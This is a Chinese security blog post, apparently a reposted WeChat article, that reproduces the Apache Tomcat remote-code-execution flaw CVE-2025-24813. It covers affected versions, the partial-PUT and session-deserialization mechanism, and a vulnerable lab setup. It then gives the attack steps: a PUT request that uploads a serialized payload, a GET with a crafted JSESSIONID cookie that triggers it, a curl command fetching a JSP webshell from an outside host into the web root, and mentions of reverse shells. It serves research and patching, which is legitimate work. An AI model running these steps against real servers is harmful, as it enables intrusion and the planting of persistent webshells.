Apache Tomcat 命令执行漏洞(CVE-2025-24813)

admin 2025年6月25日16:29:00评论7 views字数 2249阅读7分29秒阅读模式

 对我们感兴趣的话就点个关注吧!

漏洞介绍

Apache Tomcat 命令执行漏洞(CVE-2025-24813)

Tomcat 作为一款开源的轻量级 Web 应用服务器与 Servlet 容器,由 Apache 软件基金会旗下 Jakarta 项目负责开发,是当下极为流行的 Java Web 服务器之一。

漏洞影响范围

  • 9.0.0.M1 <= tomcat <= 9.0.98

  • 10.1.0-M1 <= tomcat <= 10.1.34

  • 11.0.0-M1 <= tomcat <= 11.0.2

漏洞原理分析

在 Tomcat 里,HTTP PUT 请求中的 Content-Range 头字段主要发挥着实现大文件分块传输的重要作用。当文件上传处于未完成状态时,这些上传内容会被临时存放在 Tomcat 工作目录中,具体位置是:$CATALINA_BASE/work/Catalina/localhost/ROOT

Apache Tomcat 命令执行漏洞(CVE-2025-24813)

该漏洞的核心在于不完整 PUT 请求上传时的文件名处理机制,其会将文件路径中的分隔符 / 转换为 .。例如,访问路径 /xxxxx/session 会被解析为 .xxxxx.session。因此,整个漏洞的利用过程为

  1. Tomcat的File会话存储默认路径同样位于:CATALINA_BASE/work/Catalina/localhost/ROOT

  2. 当存在反序列化利用链时,可以上传包含恶意序列化数据的文件

  3. 通过设置JSESSIONID=.xxxxx来触发漏洞

环境搭建

该漏洞的利用条件较为苛刻,其核心成因是:当 Tomcat 处理不完整的 HTTP PUT 请求时,会依据用户提供的文件名及路径动态生成临时文件。若以下条件同时满足,攻击者即可执行任意代码:
  1. 默认 Servlet 启用了写权限(默认禁用)

  2. 启用了部分PUT请求支持(默认启用)

  3. 应用程序使用 Tomcat 的基于文件的会话持久化(默认存储位置)

  4. 应用程序包含可被利用于反序列化攻击的库

下面就是需要下载和配置的设置

复现版本Tomcat 9.0.98

https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/apache-tomcat-9.0.98.zip

构造利用条件:

条件一、需要在conf/web.xml中,将DefaultServlet的readonly配置为false,启用写入功能

<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>
Apache Tomcat 命令执行漏洞(CVE-2025-24813)

条件二、PUT方法默认开启

条件三、在conf/context.xml中,开启File文件会话存储

<Manager className="org.apache.catalina.session.PersistentManager">        <Store className="org.apache.catalina.session.FileStore"/></Manager>
Apache Tomcat 命令执行漏洞(CVE-2025-24813)

条件四、下载 commons-collections-3.2.1.jar, 把 jar 包放入webappsROOTWEB-INFlib目录下,如果没有这个目录就创建一个

https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar
Apache Tomcat 命令执行漏洞(CVE-2025-24813)

环境搭建好后就可点击bin目录下面的startup.bat启动环境。

Apache Tomcat 命令执行漏洞(CVE-2025-24813)

漏洞复现

【Yso-Java Hack】模块生成一个利用payload:

Apache Tomcat 命令执行漏洞(CVE-2025-24813)

在使用该数据包进行上传时,请务必确保以下几点:

  1. Range 头字段的分块值必须与 Content-Length 完全一致,
  2. Content-Length 的值需大于目标文件的当前长度,以此确保能覆盖原有内容。
PUT /xxxxx/session HTTP/1.1  Host: 127.0.0.1:8080  Content-Length: 1000  Content-Range: bytes 0-1000/1200  {{反序列化文件内容)}}

下面poc可触发

GET / HTTP/1.1Host: 127.0.0.1:8080Cookie: JSESSIONID=.xxxxx

也能够上传 webshell,只需对执行命令进行修改即可。默认情况下,执行 cmd 的位置是 bin 目录,将 webshell 上传到该目录是没有用的,所以修改一下路径就行。其他诸如反弹 shell 等操作,原理都是一样的。

要是写入失败,有可能是本地普通用户没有写入文件的权限,对权限进行设置后就可以成功写入了。

curl -o "..webappsROOTshell.jsp" "https://www.plumstar.cn/shell.jsp"
你上传的 JSP WebShell 确实已成功写入服务器,但由于 Tomcat 的安全机制限制,该文件可能被标记为不可执行或不可访问。
Apache Tomcat 命令执行漏洞(CVE-2025-24813)

修复方案

目前Apache官方已公布漏洞公告,可下载补丁更新:https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq

领导说不点「推荐」就扣我鸡腿!救救孩子吧。

Apache Tomcat 命令执行漏洞(CVE-2025-24813)
声明:技术文章均收集于互联网,仅作为本人学习、记录使用。侵权删

原文始发于微信公众号(玄武盾网络技术实验室):【漏洞复现】Apache Tomcat 命令执行漏洞(CVE-2025-24813)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月25日16:29:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Tomcat 命令执行漏洞(CVE-2025-24813)https://cn-sec.com/archives/4199536.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息